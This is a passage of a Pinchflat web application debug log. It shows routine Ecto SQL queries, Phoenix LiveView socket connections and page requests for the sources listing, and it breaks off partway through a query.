21:16:51.642 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:51.644 [debug] QUERY OK source="tasks" db=0.5ms idle=3.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:51.645 [debug] QUERY OK source="media_items" db=0.3ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [25, 26] 21:16:51.647 [debug] QUERY OK source="media_items" db=0.2ms idle=6.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:16:51.648 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:16:51.650 [debug] QUERY OK source="sources" db=0.3ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:51.654 [debug] QUERY OK source="media_items" db=0.4ms idle=9.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:16:51.655 [debug] QUERY OK source="media_items" db=0.8ms idle=9.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:16:51.656 [debug] QUERY OK source="sources" db=0.2ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:51.659 [info] Sent 200 in 21ms 21:16:51.817 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "diBiDGwpJyogKh8aUQt8ZgBIWBZGIw4X9i8n-ZtcgEuT8C54Z9lB4ghR", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:16:51.895 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded"} 21:16:51.896 [debug] QUERY OK source="media_items" db=0.3ms idle=247.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:16:51.897 [debug] QUERY OK source="media_items" db=0.6ms idle=246.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:16:51.898 [debug] QUERY OK source="sources" db=0.2ms idle=243.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:51.898 [debug] Replied in 2ms 21:16:51.902 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending"} 21:16:51.903 [debug] QUERY OK source="media_items" db=0.6ms idle=247.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:16:51.904 [debug] QUERY OK source="media_items" db=0.9ms idle=247.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:16:51.905 [debug] QUERY OK source="sources" db=0.2ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:16:51.905 [debug] Replied in 2ms 21:16:51.906 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:16:51.906 [debug] QUERY OK source="tasks" db=0.0ms idle=8.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:16:51.906 [debug] QUERY OK source="media_items" db=0.0ms idle=8.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [25, 26] 21:16:51.906 [debug] Replied in 391µs 21:16:51.906 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:16:51.906 [debug] Replied in 25µs 21:16:58.664 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.589 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:06.861 [info] GET /sources 21:17:06.861 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:17:06.862 [debug] QUERY OK source="settings" db=0.2ms idle=1804.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:06.863 [debug] QUERY OK source="settings" db=0.2ms idle=1729.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:06.864 [debug] QUERY OK source="settings" db=0.3ms idle=806.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:06.865 [debug] QUERY OK source="settings" db=0.2ms idle=807.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:06.865 [debug] QUERY OK source="settings" db=0.1ms idle=728.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:06.867 [debug] QUERY OK source="sources" db=1.1ms idle=3.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:17:06.870 [debug] QUERY OK source="sources" db=2.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:17:06.872 [info] Sent 200 in 11ms 21:17:07.038 [info] CONNECTED TO Phoenix.LiveView.Socket in 67µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HRg3FSo7NiU-OykdJmUiOj8AW2JELwAORQmwkHelyTCSO-kheqo66kfK", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:17:07.066 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:17:07.068 [debug] QUERY OK source="sources" db=1.0ms idle=202.5ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:17:07.070 [debug] QUERY OK source="sources" db=1.9ms idle=203.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:17:07.071 [debug] Replied in 5ms 21:17:07.073 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:17:07.073 [debug] Replied in 167µs 21:17:10.863 [info] GET /sources/new 21:17:10.864 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 21:17:10.865 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1807.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", 